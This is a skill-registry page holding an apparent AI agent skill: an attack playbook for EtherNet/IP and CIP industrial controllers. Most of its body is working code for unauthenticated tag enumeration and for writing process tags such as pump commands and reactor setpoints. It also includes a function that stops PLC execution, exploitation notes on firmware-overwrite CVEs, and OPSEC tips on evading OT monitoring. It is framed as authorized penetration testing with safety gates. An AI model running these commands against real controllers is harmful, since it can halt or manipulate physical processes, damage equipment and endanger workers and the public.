CtrlK
BlogDocsLog inGet started
Tessl Logo

enip-cip

EtherNet/IP + CIP (TCP 44818 / UDP 2222) attack playbook — List Identity broadcast, pylogix tag-database dump, tag read/write on Allen-Bradley ControlLogix/CompactLogix, CIP Forward Open, PLC mode change (Stop/Run), and historical Rockwell auth-bypass CVEs. North American ICS dominant protocol.

68

Quality

82%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

SKILL.md
Quality
Evals
Security

EtherNet/IP + CIP Attack Playbook (TCP 44818 / UDP 2222)

EtherNet/IP is the dominant North American ICS protocol — every Allen-Bradley ControlLogix, CompactLogix, and MicroLogix ships with it enabled by default. CIP (Common Industrial Protocol) rides on top. Most deployments have no authentication at the CIP layer: if you can reach TCP 44818, you can read the full tag database and, in scope, write to process variables or change PLC execution state.

SAFETY FIRST

CIP write operations (Write() on tags) and mode-change commands (Stop, Run, Reset) affect physical process equipment. A mode-change to Stop immediately halts the PLC program — the controlled process (conveyor, motor, pump, valve) goes to its fail-safe state or de-energizes. Confirm written scope authorization for any write/control-class operation. Read and enumerate operations (tag list, controller info, identity) are safe.

Prerequisites

# Install pylogix (Allen-Bradley EtherNet/IP client)
pip install pylogix

# Install cpppo (Rockwell EtherNet/IP / CIP toolkit)
pip install cpppo

# nmap EtherNet/IP scripts
# Built-in: enip-info.nse (ships with Nmap >= 7.80)
nmap -p 44818 --open -sV 10.0.0.0/24

Phase 1 — Discover

UDP 2222 List Identity broadcast

UDP 2222 carries the ENIP "List Identity" command — no session, no authentication. Send a broadcast and all EtherNet/IP devices on the subnet respond with vendor, product name, serial number, firmware revision, and IP.

# Using cpppo enip command-line
python3 -m cpppo.server.enip.list_identity 10.0.0.255
# Or unicast:
python3 -m cpppo.server.enip.list_identity 10.0.0.5

# Example output:
# {'product_name': 'ControlLogix5580', 'vendor_id': 1, 'device_type': 14,
#  'product_code': 166, 'revision': {'major': 33, 'minor': 11},
#  'serial_number': '0xA1B2C3D4', 'status': 12340}
# nmap enip-info script (TCP 44818)
nmap -p 44818 --script enip-info 10.0.0.5
# Returns: VendorID, DeviceType, ProductCode, Revision, Serial, ProductName, State
# pylogix PLC info — TCP 44818
from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    info = comm.GetPLCTime()
    print("PLC time:", info.Value)
    props = comm.GetModuleProperties(0)
    print("Module:", props.Value)

Phase 2 — Tag database enumeration (unauthenticated on ControlLogix/CompactLogix)

ControlLogix and CompactLogix expose the entire controller tag database via CIP symbolic segment reads — no authentication required. This includes tag names, data types, dimensions, and access attributes.

from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Enumerate all controller-scoped tags
    tags = comm.GetTagList()
    print(f"[*] Found {len(tags.Value)} controller tags")
    for tag in tags.Value:
        print(f"  {tag.TagName:<40} Type={tag.DataType:<20} Dim={tag.Dimensions}")

    # Enumerate program-scoped tags (programs inside the controller)
    programs = comm.GetProgramList()
    for prog in programs.Value:
        prog_tags = comm.GetProgramTagList(prog)
        print(f"\n[*] Program '{prog}': {len(prog_tags.Value)} tags")
        for tag in prog_tags.Value:
            print(f"  {prog}:{tag.TagName:<36} Type={tag.DataType}")

Tag names are often self-describing in production environments:

  • PumpStation_1.RunCmd — pump run command coil
  • Valve_FV_101.OpenCmd — valve open command
  • Reactor_TIC_201.SP — temperature setpoint
  • Safety_SIL2.BypassActive — safety interlock bypass flag

Phase 3 — Read tags

from pylogix import PLC

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Read a single tag
    result = comm.Read("PumpStation_1.RunCmd")
    print(f"PumpStation_1.RunCmd = {result.Value}  (Status: {result.Status})")

    # Read multiple tags in one request (efficient)
    tag_list = [
        "Reactor_TIC_201.SP",
        "Reactor_TIC_201.PV",
        "Valve_FV_101.OpenCmd",
        "Safety_SIL2.BypassActive",
    ]
    results = comm.Read(tag_list)
    for r in results:
        print(f"  {r.TagName} = {r.Value}  Status={r.Status}")

    # Read array elements
    array_result = comm.Read("RecipeArray[0]", 10)  # read 10 elements from index 0
    print("Recipe[0:10]:", array_result.Value)

Phase 4 — Write tags (SAFETY GATE — write-class authorization required)

STOP. Confirm written scope authorization before this phase. Writing process control tags may energize/de-energize actuators immediately.

from pylogix import PLC

# Write a BOOL tag
with PLC() as comm:
    comm.IPAddress = "10.0.0.5"

    # Example: write a setpoint — requires authorization
    result = comm.Write("Reactor_TIC_201.SP", 85.0)
    print(f"Write SP: {result.Status}")

    # Example: write a BOOL control tag — requires authorization
    result = comm.Write("PumpStation_1.RunCmd", 1)
    print(f"Write RunCmd: {result.Status}")

Write status codes: Success = write accepted by PLC; PathSegmentError = bad tag name; ServiceError = PLC in Program mode or inhibited.

Phase 5 — CIP mode change: Stop / Run / Reset

Mode change via CIP is a direct PLC execution-state change. Stop halts the ladder/function-block program. Reset is a cold restart.

import cpppo
from cpppo.server.enip import client

# CIP explicit messaging to change PLC mode
# Rockwell ControlLogix CIP Service 0x0F (Set Attribute Single)
# Object: 0x01 (Identity Object), Instance 1, Attribute 10 (Controller State)
# Mode: 0x01 = Run, 0x02 = Program (Stop)

def set_plc_mode(ip, mode_val, port=44818):
    """
    mode_val: 0x01 = Run, 0x02 = Program (effectively Stop)
    Requires write-class scope authorization.
    """
    operations = [
        {
            "method": "set_attribute_single",
            "path": "@0x01/1/10",
            "data": [mode_val],
        }
    ]
    with client.connector(host=ip, port=port) as conn:
        for op in operations:
            conn.set_attribute_single(
                path=op["path"],
                data=op["data"],
            )
        conn.collect(timeout=2)
        print(f"Mode change to {mode_val:#04x} sent")

# set_plc_mode("10.0.0.5", 0x02)   # Stop (Program mode) — halts PLC program
# set_plc_mode("10.0.0.5", 0x01)   # Run

Alternatively, pylogix provides a direct wrapper:

with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    # Some pylogix versions expose:
    comm.GetPLCTime()  # verify connectivity first
    # comm.Write("_RunMode", 0)  # vendor-specific; verify tag exists first

Phase 6 — Historical Rockwell auth-bypass CVEs

CVEProductDescriptionCVSS
CVE-2021-27478Studio 5000 Logix DesignerUnauth remote code execution via CIP messaging10.0
CVE-2022-1159Rockwell Automation FactoryTalkExecutable injection via DLL hijack path7.7
CVE-2023-3595ControlLogix 1756 (firmware <= 33.011)Path traversal in CIP service; unauthenticated firmware read/write9.8
CVE-2023-3596GuardLogix 1756Same family — safety controller variant9.8
CVE-2024-6242ControlLogix 1756CIP Trusted Slot mechanism bypass — pivot between chassis slots8.4

CVE-2023-3595 / 3596 (Claroty "LogiSploit") is the most relevant for live engagements — unauthenticated firmware upload/download against unpatched ControlLogix. Patch check:

# Firmware version from pylogix
with PLC() as comm:
    comm.IPAddress = "10.0.0.5"
    props = comm.GetModuleProperties(0)
    print("Firmware:", props.Value)
    # Compare against Rockwell Security Advisory RLSA-2023-0026
    # Affected: < v33.012 (1756-EN2* family)

Common findings

FindingMITREImpact
Internet-exposed EtherNet/IP (Shodan: port:44818)T0882Direct PLC access from internet
No CIP authentication — tag list readableT0855Full process variable visibility
Tag write accepted without authT0836Direct process manipulation
PLC mode change accepted (Stop)T0816Halt production line
Flat IT/OT VLAN — office → PLC directT0814Lateral movement from compromised workstation
Unpatched ControlLogix (CVE-2023-3595)T0839Firmware read/write, persistent implant
Safety PLC (GuardLogix) reachableT0857Safety system manipulation

Evidence

kg_add_node(
    kind="finding",
    label="EtherNet/IP unauthenticated tag access",
    props={
        "key": f"enip-cip-anon::{target_ip}",
        "protocol": "enip-cip",
        "port": 44818,
        "product_name": "<ProductName>",
        "firmware_revision": "<major.minor>",
        "tag_count": len(tags.Value),
        "writable": False,  # set True only after confirmed write-scope
        "source": "pylogix-taglist",
    },
)

ZFP (two-method evidence)

  1. pylogix GetTagList() output showing tag count + representative tag names with data types.
  2. pylogix Read() result for at least one process variable showing a live value (e.g., temperature, pressure, motor state).

If write testing was authorized: include Write() result showing Status=Success and a Read back confirming value change.

OPSEC notes

  • EtherNet/IP has no built-in audit log at the CIP layer. Tag reads are silent to most OT security platforms unless a Nozomi/Claroty NDR is deployed with flow-level inspection.
  • High-frequency polling (e.g., reading all tags in a tight loop) is detectable as anomalous traffic volume. Space enumeration reads out.
  • Mode-change commands (Stop/Program) generate an event in the PLC's event log (RSLogix Diagnostics > General Fault). This persists across power cycles.
  • Shodan regularly indexes internet-facing EtherNet/IP; pre-engagement Shodan search for the target's IP space can reveal exposure level before active scanning.
  • CVE-2023-3595 exploit PoC (Claroty): confirm firmware version before using; firmware write is destructive and may brick the controller.

References

  • pylogix — github.com/dmroeder/pylogix
  • cpppo — github.com/pjkundert/cpppo
  • ODVA EtherNet/IP and CIP Specifications — odva.org
  • Claroty Team82 "LogiSploit" (CVE-2023-3595/3596) — claroty.com/team82
  • CVE-2024-6242 Rockwell Trusted Slot bypass — icsadvisory.ot-security.io
  • ICS-CERT Rockwell advisories — cisa.gov/uscert/ics/advisories
  • "Exploiting Industrial Control Systems" — Reid Wightman, S4 Conference
  • Shodan dork reference — https://www.shodan.io/search?query=port%3A44818
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.